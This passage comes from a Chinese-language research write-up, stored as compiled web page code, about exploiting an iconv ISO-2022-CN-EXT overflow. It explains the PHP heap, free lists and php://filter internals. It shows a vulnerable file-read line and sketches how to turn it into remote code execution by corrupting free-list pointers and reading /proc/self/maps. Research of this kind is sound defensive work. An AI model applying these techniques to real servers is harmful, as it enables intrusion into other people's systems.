\u4ee3\u7801\u4f4d\u3002"})}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\uff0c\u8bf7\u8bb0\u4f4f\uff1a\u7f13\u51b2\u533a\u7ba1\u7406\u662f\u8c03\u7528\u65b9\u7684\u8d23\u4efb\u3002\u5f53\u7528\u4e8e ",(0,s.jsx)(n.code,{children:"iconv()"})," \u5c06\u6211\u4eec\u7684\u6587\u6863\u8f6c\u6362\u56de\u5176\u539f\u59cb\u5b57\u7b26\u96c6\u65f6 ",(0,s.jsx)(n.code,{children:"libxml2"})," \uff0c\u5b83\u4f1a\u5206\u914d\u4e00\u4e2a\u8f93\u51fa\u7f13\u51b2\u533a\uff0c\u8be5\u7f13\u51b2\u533a\u662f\u8f93\u5165\u7f13\u51b2\u533a\uff08\u4ee3\u7801\uff09\u7684 4 \u500d\u3002\u5bf9\u6211\u4eec\u6765\u8bf4\u592a\u5927\u4e86\uff1a\u6211\u4eec\u65e0\u6cd5\u8fbe\u5230\u7f13\u51b2\u533a\u7684\u8fb9\u754c\u4ee5\u6ea2\u51fa\u3002\u6b7b\u80e1\u540c\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"pkexec4-\u4e2a\u5b57\u8282\u592a\u591a\u4e86",children:"pkexec\uff1a4 \u4e2a\u5b57\u8282\u592a\u591a\u4e86"}),"\n",(0,s.jsxs)(n.p,{children:["\u53e6\u4e00\u4e2a\u6709\u8da3\u7684\u76ee\u6807\u662f pkexec\uff0c\u4e00\u4e2a\u5b58\u5728\u4e8e\u8bb8\u591a linux \u53d1\u884c\u7248\u4e2d\u7684 setuid \u4e8c\u8fdb\u5236\u6587\u4ef6\u3002\u4e8c\u8fdb\u5236\u6587\u4ef6\u5141\u8bb8\u60a8\u901a\u8fc7\u8bbe\u7f6e ",(0,s.jsx)(n.code,{children:"CHARSET"})," \u73af\u5883\u53d8\u91cf\u6765\u4e3a\u5176\u8f93\u51fa\u7684\u6bcf\u6761\u6d88\u606f\u9009\u62e9\u5b57\u7b26\u96c6\u3002\u4f8b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"$ CHARSET=ISO-2022-CN-EXT pkexec 'trigger\u5284' 2>&1 | hexyl\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u250200000000\u2502 43 61 6e 6e 6f 74 20 72 \u250a 75 6e 20 70 72 6f 67 72 \u2502Cannot r\u250aun progr\u2502\n\u250200000010\u2502 61 6d 20 74 72 69 67 67 \u250a 65 72 1b 24 2a 48 1b 4e \u2502am trigg\u250aer\u2022$*H\u2022N\u2502\n\u250200000020\u2502 4c 61 0f 3a 20 4e 6f 20 \u250a 73 75 63 68 20 66 69 6c \u2502La\u2022: No \u250asuch fil\u2502\n\u250200000030\u2502 65 20 6f 72 20 64 69 72 \u250a 65 63 74 6f 72 79 0a \u2502e or dir\u250aectory_ \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u5185\u90e8\uff0c ",(0,s.jsx)(n.code,{children:"pkexec"})," \u4f7f\u7528 \u8f93\u51fa ",(0,s.jsx)(n.code,{children:"GLib"})," \u5176\u6d88\u606f\u3002\u5b83\u6267\u884c\u4ee5\u4e0b\u64cd\u4f5c\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"#define NUL_TERMINATOR_LENGTH 4\n\noutbuf_size = len + NUL_TERMINATOR_LENGTH;\n\noutbytes_remaining = outbuf_size - NUL_TERMINATOR_LENGTH;\noutp = dest = g_malloc (outbuf_size);\n\n...\n\nerr = g_iconv (converter, NULL, &inbytes_remaining, &outp, &outbytes_remaining);\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u867d\u7136\u5b83\u5206\u914d\u4e86 N + 4 \u5b57\u8282\u7684\u7f13\u51b2\u533a\uff0c\u4f46\u5b83\u53ea\u544a\u8bc9 iconv \u5173\u4e8e N \u4e2a\u5b57\u8282\u3002\u6211\u4eec\u7684\u6ea2\u51fa\u6700\u591a\u6709 3 \u4e2a\u5b57\u8282\u957f\u3002\u56e0\u6b64\uff0c\u65e0\u8bba\u6211\u4eec\u591a\u4e48\u52aa\u529b\uff0c\u6211\u4eec\u90fd\u65e0\u6cd5\u5230\u8fbe\u7f13\u51b2\u533a\u4e4b\u5916\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u4e00\u4e2a\u6b7b\u80e1\u540c\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u6761\u4ef6\u548c\u57fa\u5143\u5df2\u66f4\u65b0",children:"\u6761\u4ef6\u548c\u57fa\u5143\uff08\u5df2\u66f4\u65b0\uff09"}),"\n",(0,s.jsx)(n.p,{children:"\u6ee1\u6000\u5931\u671b\uff0c\u6211\u53ea\u80fd\u66f4\u65b0\u6211\u7684\u8981\u6c42\u6e05\u5355\u3002\u8981\u5229\u7528\u6b64\u6f0f\u6d1e\uff0c\u6211\u4eec\u9700\u8981\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u63a7\u5236\u8f93\u51fa\u5b57\u7b26\u96c6 \uff08 ",(0,s.jsx)(n.code,{children:"ISO-2022-CN-EXT"})," \uff09"]}),"\n",(0,s.jsx)(n.li,{children:"\u8f93\u5165\u7f13\u51b2\u5668\u7684\u63a7\u5236\u90e8\u5206"}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.strong,{children:"\u5177\u6709\u5408\u9002\u7684\u8f93\u51fa\u7f13\u51b2\u5668"})}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u5229\u7528php\u8fc7\u6ee4\u5668",children:"\u5229\u7528PHP\u8fc7\u6ee4\u5668"}),"\n",(0,s.jsxs)(n.p,{children:["\u5373\u4f7f\u627e\u4e86\u51e0\u5929\uff0c\u6211\u4e5f\u6ca1\u6709\u627e\u5230\u4e00\u4e2a\u6709\u6548\u7684\u76ee\u6807\u3002\u76f2\u76ee\u5730\u5728\u5e93\u548c\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u5bfb\u627e ",(0,s.jsx)(n.code,{children:"iconv()"})," \u8c03\u7528\uff0c\u6d4f\u89c8\u5f00\u6e90\u751f\u6001\u7cfb\u7edf\uff0c\u5bfb\u627e\u8be5\u9519\u8bef\u7684\u53ef\u89e6\u53d1\u5b9e\u4f8b\uff0c\u6211\u62fc\u547d\u5bfb\u627e\u5d29\u6e83\u3002\u4e00\u3002\u5d29\u6e83\u3002\u65e0\u6d4e\u4e8e\u4e8b\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u91cd\u65b0\u71c3\u8d77\u5e0c\u671b\uff0c\u6211\u53c8\u56de\u5230\u4e86PHP\uff1a\u6bd5\u7adf\uff0c\u5b83\u786e\u5b9e\u5d29\u6e83\u4e86\uff0c\u6211\u751a\u81f3\u6ca1\u6709\u8981\u6c42\u5b83\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u76ee\u6807\u5f88\u7b80\u5355\uff1a\u5c06\u65e0\u804a\u7684\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\u8f6c\u6362\u4e3a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"php\u5806\u7684\u5165\u95e8",children:"PHP\u5806\u7684\u5165\u95e8"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.em,{children:"\u6ce8\u610f\uff1a\u5728\u672c\u8282\u4e2d\uff0c\u4ee5\u53ca\u5728\u63cf\u8ff0PHP\u5185\u90e8\u7ed3\u6784\u7684\u6bcf\u4e2a\u90e8\u5206\u4e2d\uff0c\u6211\u5c06\u8fdb\u884c\u8fd1\u4f3c\u503c\u5e76\u5ffd\u7565\u67d0\u4e9b\u5185\u5bb9\u3002"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u8fbe\u5230\u8fd9\u4e2a\u76ee\u7684\uff0c\u6211\u4eec\u9700\u8981\u4e86\u89e3PHP\u5806\u662f\u5982\u4f55\u5de5\u4f5c\u7684\uff08\u81f3\u5c11\u662f\u5176\u4e2d\u7684\u4e00\u90e8\u5206\uff09\u3002\u522b\u62c5\u5fc3\uff0c\u8fd9\u662f\u4e00\u4e2a\u975e\u5e38\u7b80\u5355\u7684\u5806\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u8981\u4f7f\u7528 PHP \u8fdb\u884c\u5206\u914d\uff0c\u8bf7\u4f7f\u7528 \uff0c\u5c06 \u4e0e N \u4e00\u8d77\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"emalloc(N)"})," \u6240\u9700\u7684\u5b57\u8282\u6570\u3002\u60a8\u5c06\u8fd4\u56de\u6307\u5411\u81f3\u5c11\u53ef\u4ee5\u5b58\u50a8 N \u4e2a\u5b57\u8282\u7684\u5757\uff08\u5185\u5b58\u5757\uff09\u7684\u6307\u9488\u3002\u5b8c\u6210\u5757\u540e\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"efree(ptr)"})," .PHP \u6709\u5404\u79cd\u5927\u5c0f\u7684\u5757\uff088\u30010x10\u30010x18\u3001...0x200,0x280\uff0c......"]}),"\n",(0,s.jsx)(n.p,{children:"PHP \u5806\u7531\u4e00\u4e2a 2MB \u7684\u533a\u57df\u7ec4\u6210\uff0c\u5206\u4e3a 512 \u9875\uff0c\u6bcf\u9875 0x1000 \u5b57\u8282\u3002\u6bcf\u4e2a\u9875\u9762\u53ef\u80fd\u5305\u542b\u7279\u5b9a\u5927\u5c0f\u7684\u5757\u3002\u4f8b\u5982\uff0c\u7b2c 10 \u9875\u53ef\u80fd\u5305\u542b\u5927\u5c0f\u4e3a 0x100 \u7684\u5757\u3001\u7b2c 11 \u9875\u5927\u5c0f\u4e3a 0x38 \u7684\u5757\u3001\u7b2c 12 \u9875\u5927\u5c0f\u4e3a 0x180 \u7684\u5757\u7b49\u3002\u5757\u4e4b\u95f4\u6ca1\u6709\u5143\u6570\u636e\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5f53\u60a8\u91ca\u653e\u4e00\u4e2a\u5757\u65f6\uff0c\u5b83\u4f1a\u88ab\u653e\u5728\u4e00\u4e2a\u79f0\u4e3a\u91ca\u653e\u5217\u8868\u7684\u5355\u5411\u94fe\u8868\u7684\u5f00\u5934\u3002\u6bcf\u4e2a\u5757\u5927\u5c0f\u90fd\u6709\u4e00\u4e2a\u514d\u8d39\u5217\u8868\u3002\u4f8b\u5982\uff0c\u5982\u679c\u6211\u8981\u91ca\u653e\u5927\u5c0f\u4e3a 0x38 \u5757\uff0c\u5b83\u5c06\u8fdb\u5165\u5927\u5c0f\u4e3a 0x38 \u5757\u7684\u53ef\u7528\u5217\u8868\u4e2d\u3002\u5982\u679c\u6211\u91ca\u653e\u4e86\u4e00\u5927\u5757\u5927\u5c0f0x200\uff0c\u5b83\u5c31\u4f1a\u8fdb\u5165\u5927\u57570x200\u7684\u514d\u8d39\u5217\u8868\u4e2d......"}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u5206\u914d N \u4e2a\u5b57\u8282\uff0cPHP \u4f1a\u67e5\u770b\u53ef\u7528\u5217\u8868\u4e2d\u7684\u76f8\u5e94\u5757\u5927\u5c0f\uff0c\u53d6\u51fa\u78c1\u5934\u5e76\u8fd4\u56de\u5b83\u3002\u5982\u679c\u53ef\u7528\u5217\u8868\u4e3a\u7a7a\uff08\u5373\u6240\u6709\u53ef\u7528\u7684\u5757\u90fd\u5df2\u5206\u914d\uff09\uff0cPHP \u4f1a\u67e5\u770b\u5806\u5143\u6570\u636e\u4ee5\u67e5\u627e\u672a\u4f7f\u7528\u7684\u9875\u9762\u3002\u7136\u540e\uff0c\u5b83\u4f1a\u5728\u8fd9\u6837\u7684\u9875\u9762\u4e2d\u521b\u5efa\u7a7a\u5757\uff0c\u5e76\u5c06\u5b83\u4eec\u653e\u5728\u7a7a\u95f2\u5217\u8868\u4e2d\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u514d\u8d39\u5217\u8868\u662f\u540e\u8fdb\u5148\u51fa\uff0c\u8fd9\u610f\u5473\u7740\u5f53\u6211\u91ca\u653e\u4e00\u5b9a\u5927\u5c0f\u7684\u5757\u65f6\uff0c\u5b83\u5c06\u6210\u4e3a\u514d\u8d39\u5217\u8868\u7684\u5934\u90e8\u3002\u5f53\u6211\u5206\u914d\u65f6\uff0c\u5934\u90e8\u88ab\u53d6\u51fa\u3002\u8fd9\u4e0e glibc \u7684 tcache \u975e\u5e38\u76f8\u4f3c\uff0c\u4f46\u4e0d\u53d7\u9650\u5236\u3002"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112562.png-.png",alt:"img"}),(0,s.jsx)(n.em,{children:"PHP \u5806\u7684\u53ef\u89c6\u5316\u8868\u793a"})]}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u4e0a\u9762\u7684\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u5728\u5de6\u4fa7\u6709\u4e00\u4e2a\u5806\u7684\u53ef\u89c6\u5316\u8868\u793a\u3002\u5b83\u5305\u542b 512 \u9875\uff0c\u6b64\u5904\u7b2c 5 \u9875\u5b58\u50a8\u4e86\u5927\u5c0f\u4e3a 0x400 \u7684\u5757\u3002\u5982\u679c\u6211\u4eec\u770b\u4e00\u4e0b\u8fd9\u4e2a\u9875\u9762\u7684\u5185\u5bb9\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5b83\u5305\u542b 4 \u4e2a\u5757\uff08\u56e0\u4e3a 4 \xd7 0x400 = 0x1000\uff0c\u4e00\u4e2a\u9875\u9762\u7684\u5927\u5c0f\uff09\u3002\u5728\u8fd9\u91cc\uff0c\u5206\u914d\u4e86\u5757 #1 \u548c #3\uff0c\u5e76\u91ca\u653e\u4e86\u5757 #2 \u548c #4\u3002\u56e0\u6b64\uff0c\u5b83\u4eec\u5728\u5927\u5c0f\u4e3a 0x400 \u5757\u7684\u514d\u8d39\u5217\u8868\u4e2d\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7a7a\u95f2\u5217\u8868\u662f\u4e00\u4e2a\u5355\u94fe\u8868\uff0c\u6bcf\u4e2a\u672a\u5206\u914d\u7684\u5757\u90fd\u5305\u542b\u6307\u5411\u4e0b\u4e00\u4e2a\u7a7a\u95f2\u5757\u7684\u6307\u9488\u4f5c\u4e3a\u5176\u524d 8 \u4e2a\u5b57\u8282\u3002\u8fd9\u5c31\u662f\u6211\u4eec\u5728\u5757 #2 \u4e2d\u770b\u5230\u7684\uff1a\u6307\u5411 0x7ff10201400 \u7684\u6307\u9488\uff0c\u8fd9\u662f\u5927\u5c0f\u4e3a 0x400 \u7684\u4e0b\u4e00\u4e2a\u7a7a\u95f2\u5757\u7684\u5730\u5740\u3002\u73b0\u5728\uff0c\u5982\u679c\u6211\u4eec\u8981\u4ece\u5757 #1 \u6ea2\u51fa\u5230\u5757 #2\uff0c\u6211\u4eec\u5c06\u8986\u76d6\u6b64\u6307\u9488\u3002\u8fd9\u662f\u4e00\u4e2a\u5f88\u597d\u7684\u6f0f\u6d1e\u5229\u7528\u8d77\u70b9\uff1a\u5373\u4f7f\u6709\u4e00\u4e2a\u5b57\u8282\u7684\u6ea2\u51fa\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u66f4\u6539\u4e00\u4e2a\u7a7a\u95f2\u5217\u8868\u6307\u9488\uff0c\u4ece\u800c\u6539\u53d8\u7a7a\u95f2\u5217\u8868\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u5e94\u8be5\u6ce8\u610f\u7684\u662f\uff0cPHP\u4e3a\u6bcf\u4e2aHTTP\u8bf7\u6c42\u521b\u5efa\u4e00\u4e2a\u65b0\u5806\u3002\u8fd9\u662f\u4f7f\u8fdc\u7a0b PHP \u5f00\u53d1\u53d8\u5f97\u56f0\u96be\u7684\u539f\u56e0\u4e4b\u4e00\u2014\u2014\u4f46\u8fd9\u5c06\u5728\u7b2c 2 \u90e8\u5206\u4e2d\u4ecb\u7ecd\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"php-\u8fc7\u6ee4\u5668\u5185\u90e8",children:"PHP \u8fc7\u6ee4\u5668\u5185\u90e8"}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u77e5\u9053\u4e86 PHP \u662f\u5982\u4f55\u5206\u914d\u548c\u53d6\u6d88\u5206\u914d\u7684\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b PHP \u5982\u4f55\u5904\u7406 ",(0,s.jsx)(n.code,{children:"php://filter/"})," \u5b57\u7b26\u4e32\u3002\u6211\u4eec\u5f88\u5e78\u8fd0\uff1a\u6211\u4eec\u4e0d\u9700\u8981\u6df1\u5165\u4e86\u89e3\u5185\u90e8 PHP \u7ed3\u6784\u7684\u7ec6\u8282\uff0c\u4f8b\u5982 ",(0,s.jsx)(n.code,{children:"zval"})," \u3001 ",(0,s.jsx)(n.code,{children:"zend_string"})," \u3001 ",(0,s.jsx)(n.code,{children:"zend_array"})," \u7b49\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4e3a\u4e86\u5904\u7406\u8fc7\u6ee4\u5668\uff0cPHP \u5c06\u9996\u5148\u83b7\u53d6\u6d41\uff08\u5373\u8bfb\u53d6\u8d44\u6e90\uff09\u3002\u5b83\u5c06\u6d41\u5b58\u50a8\u5728\u5b58\u50a8\u6876\u7684\u96c6\u5408\u4e2d\uff0c\u8fd9\u4e9b\u5b58\u50a8\u6876\u662f\u53cc\u94fe\u63a5\u7ed3\u6784\uff0c\u6bcf\u4e2a\u5b58\u50a8\u6876\u90fd\u5305\u542b\u4e00\u5b9a\u5927\u5c0f\u7684\u7f13\u51b2\u533a\u3002\u6309\u7167\u6211\u4eec\u7684 ",(0,s.jsx)(n.code,{children:"/etc/passwd"})," \u793a\u4f8b\uff0c\u6211\u4eec\u53ef\u80fd\u6709 3 \u4e2a\u5b58\u50a8\u6876\uff1a\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876\u53ef\u80fd\u5305\u542b\u6587\u4ef6\u7684\u524d 5 \u4e2a\u5b57\u8282\uff0c\u7b2c\u4e8c\u4e2a\u5b58\u50a8\u6876\u5305\u542b 30 \u591a\u4e2a\u5b57\u8282\uff0c\u7b2c\u4e09\u4e2a\u5b58\u50a8\u6876\u5305\u542b 1000 \u4e2a\u5b57\u8282\u3002\u5b83\u4eec\u8054\u7cfb\u5728\u4e00\u8d77\uff0c\u6784\u6210\u4e86\u4e00\u4e2a\u6c34\u6876\u65c5\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112563.png-.png",alt:"img"}),(0,s.jsxs)(n.em,{children:["\u4e00\u4e2a\u7531 3 \u4e2a\u94f2\u6597\u7ec4\u6210\u7684\u94f2\u6597\u5927\u961f\uff0c\u5176\u4e2d\u5305\u542b ",(0,s.jsx)(n.code,{children:"/etc/passwd"})]})]}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u662f\u5c06\u6d41\u8868\u793a\u4e3a\u5404\u79cd\u5927\u5c0f\u7684\u7f13\u51b2\u533a\u96c6\u5408\u7684\u6807\u51c6\u65b9\u6cd5\u3002\u60a8\u53ef\u4ee5\u5c06\u5176\u60f3\u8c61\u4e3a\u901a\u8fc7\u7f51\u7edc\u63a5\u6536\u7684\u6570\u636e\u5305\u5217\u8868\u3002\u6570\u636e\u5305 1 \u5305\u542b\u524d N \u4e2a\u5b57\u8282\u7684\u6570\u636e\uff0c\u6570\u636e\u5305 2 \u5305\u542b\u63a5\u4e0b\u6765\u7684 M \u4e2a\u5b57\u8282\uff0c\u4f9d\u6b64\u7c7b\u63a8\u3002"}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\uff0cPHP \u5df2\u7ecf\u5c06\u8d44\u6e90\u7684\u5185\u5bb9\u8bfb\u5165\u6d41\u4e2d\uff0c\u7531\u5b58\u50a8\u6876\u65c5\u8868\u793a\uff0c\u5b83\u53ef\u4ee5\u5bf9\u5176\u5e94\u7528\u8fc7\u6ee4\u5668\u3002\u5b83\u91c7\u7528\u7b2c\u4e00\u4e2a\u7b5b\u9009\u5668\uff0c\u5e76\u5904\u7406\u7b2c\u4e00\u4e2a\u5b58\u50a8\u6876\u3002\u4e3a\u6b64\uff0c\u5b83\u4f1a\u5206\u914d\u4e00\u4e2a\u4e0e\u5b58\u50a8\u6876\u7f13\u51b2\u533a\u5927\u5c0f\u76f8\u540c\u7684\u8f93\u51fa\u7f13\u51b2\u533a\uff08\u5728\u6211\u4eec\u7684\u793a\u4f8b\u4e2d\u4e3a 5 \u4e2a\u5b57\u8282\uff09\uff0c\u5e76\u8fdb\u884c\u8f6c\u6362\u3002\u4f8b\u5982\uff0c\u5982\u679c\u7b5b\u9009\u5668\u662f ",(0,s.jsx)(n.code,{children:"string.upper"})," \uff0c\u5b83\u4f1a\u5c06\u8f93\u5165\u7f13\u51b2\u533a\u4e2d\u7684\u6bcf\u4e2a\u5c0f\u5199\u5b57\u7b26\u8f6c\u6362\u4e3a\u8f93\u51fa\u7f13\u51b2\u533a\u4e2d\u7684\u5927\u5199\u5b57\u7b26\u3002\u7136\u540e\uff0c\u5b83\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6307\u5411\u6b64\u7f13\u51b2\u533a\u7684\u65b0\u5b58\u50a8\u6876\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202501241112564.png-.png",alt:"img"}),(0,s.jsxs)(n.em,{children:["\u7533\u8bf7 ",(0,s.jsx)(n.code,{children:"string.upper"})," \u6c34\u6876\u5927\u961f"]})]}),"\n",(0,s.jsx)(n.p,{children:"\u7136\u540e\uff0c\u5b83\u5904\u7406\u5b58\u50a8\u6876 2\uff0c\u7136\u540e\u5904\u7406\u5b58\u50a8\u6876 3\uff0c\u4f9d\u6b64\u7c7b\u63a8\uff0c\u76f4\u5230\u5230\u8fbe\u6700\u540e\u4e00\u4e2a\u5b58\u50a8\u6876\u3002\u73b0\u5728\uff0c\u5b83\u6709\u4e00\u4e2a\u5305\u542b\u6bcf\u4e2a\u8f93\u51fa\u6876\u7684\u65b0\u94f2\u6597\u65c5\u3002\u5b83\u73b0\u5728\u53ef\u4ee5\u5c06\u7b2c\u4e8c\u4e2a\u8fc7\u6ee4\u5668\u5e94\u7528\u5230\u8fd9\u4e2a\u65c5\u4e0a\uff0c\u5e76\u7ee7\u7eed\u524d\u8fdb\uff0c\u76f4\u5230\u5904\u7406\u5b8c\u6700\u540e\u4e00\u4e2a\u8fc7\u6ee4\u5668\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u60c5\u51b5\u548c\u76ee\u6807",children:"\u60c5\u51b5\u548c\u76ee\u6807"}),"\n",(0,s.jsx)(n.p,{children:"\u6211\u4eec\u5df2\u7ecf\u5b8c\u6210\u4e86\u5b9a\u4e49\u3002\u8ba9\u6211\u4eec\u56de\u5230\u6211\u4eec\u6700\u521d\u7684\u6f0f\u6d1e\uff1a\u6587\u4ef6\u8bfb\u53d6\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{children:"echo file_get_contents($_GET['file']);\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u73b0\u5728\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"convert.iconv.XXX.ISO-2022-CN-EXT"})," \u8fc7\u6ee4\u5668\u89e6\u53d1\u5185\u5b58\u635f\u574f\uff0c\u6211\u4eec\u9700\u8981\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002\u800c\u4e14\u5b83\u770b\u8d77\u6765\u5e76\u4e0d\u96be\u5229\u7528\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u7531\u4e8e\u6211\u4eec\u6709\u4e00\u4e2a\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\uff0c\u6211\u4eec\u53ef\u4ee5\u8bfb\u53d6\u4e8c\u8fdb\u5236\u6587\u4ef6\uff08PHP\u3001Apache \u7b49\uff09\u3002\u6211\u4eec\u751a\u81f3\u53ef\u4ee5\u4e0b\u8f7dlibc\u5e76\u68c0\u67e5\u5b83\u662f\u5426\u5df2\u4fee\u8865\uff01\u6211\u4eec\u4e5f\u4e0d\u5173\u5fc3 ASLR \u548c PIE\uff1a\u6211\u4eec\u53ef\u4ee5\u9605\u8bfb ",(0,s.jsx)(n.code,{children:"/proc/self/maps"})," .\u6700\u540e\uff0c\u611f\u89c9\u6211\u4eec\u51e0\u4e4e\u53ef\u4ee5\u4f7f\u7528\u5b58\u50a8\u6876\u4efb\u610f\u5206\u914d\u6216\u89e3\u9664\u5206\u914d\u7f13\u51b2\u533a\uff0c\u8fd9\u5f88\u65b9\u4fbf\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u53e6\u4e00\u65b9\u9762\uff0c\u5728\u8bb8\u591a\u60c5\u51b5\u4e0b\uff0c\u4f60\u53ef\u4ee5\u8ba9\u6587\u4ef6\u8bfb\u53d6\u539f\u8bed\uff1a\u4f60\u53ef\u80fd\u5728\u8fd0\u884c\u5728 PHP 7.0 \u4e0a\u7684 Symfony 4.x \u4e0a\uff0c\u6216\u8005\u5728 PHP 8.3 \u4e0a\u8fd0\u884c\u7684\u6666\u6da9\u7684 Wordpress \u63d2\u4ef6\u4e2d\uff0c\u751a\u81f3\u5728\u9ed1\u76d2\u8bc4\u4f30\u671f\u95f4\u3002\u7406\u60f3\u7684\u6f0f\u6d1e\u5229\u7528\u9700\u8981\u5177\u6709\u5f39\u6027\uff1a\u5b83\u5fc5\u987b\u9488\u5bf9\u5927\u591a\u6570\u76ee\u6807\uff0c\u65e0\u9700\u4efb\u4f55\u8c03\u6574\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u5f00\u53d1",children:"\u5f00\u53d1"}),"\n",(0,s.jsx)(n.p,{children:"\u8003\u8651\u5230\u6240\u6709\u8fd9\u4e9b\uff0c\u8ba9\u6211\u4eec\u5f00\u59cb\u5f00\u53d1\u3002\u8fd9\u4e2a\u60f3\u6cd5\u662f\u4f7f\u7528\u5355\u5b57\u8282\u7f13\u51b2\u533a\u6ea2\u51fa\u6765\u4fee\u6539\u6307\u5411\u53ef\u7528\u5757\u7684\u6307\u9488\u7684 LSB\uff0c\u4ee5\u4fbf\u63a7\u5236\u4e00\u4e9b\u53ef\u7528\u5217\u8868\u3002"}),"\n",(0,s.jsx)(n.h4,{id:"\u5355\u6876",children:"\u5355\u6876"}),"\n",(0,s.jsxs)(n.p,{children:["\u6211\u4eec\u9762\u4e34\u7684\u7b2c\u4e00\u4e2a\u95ee\u9898\u662f\uff0c\u5c3d\u7ba1\u6709 bucket brigade \u6280\u672f\uff0c\u4f46 PHP \u53ea\u521b\u5efa\u4e00\u4e2a bucket\u3002\u5982\u679c\u60a8\u8bfb\u53d6\u4e00\u4e2a\u6587\u4ef6\uff0c\u60a8\u5c06\u83b7\u5f97\u4e00\u4e2a\u5305\u542b\u6574\u4e2a\u6587\u4ef6\u7684\u5b58\u50a8\u6876\u3002\u5982\u679c\u60a8\u8bf7\u6c42 HTTP URL\uff0cPHP \u5c06\u521b\u5efa\u4e00\u4e2a\u5305\u542b\u6574\u4e2a HTTP \u54cd\u5e94\u7684\u5b58\u50a8\u6876\u3002\u548c ",(0,s.jsx)(n.code,{children:"ftp://"})," 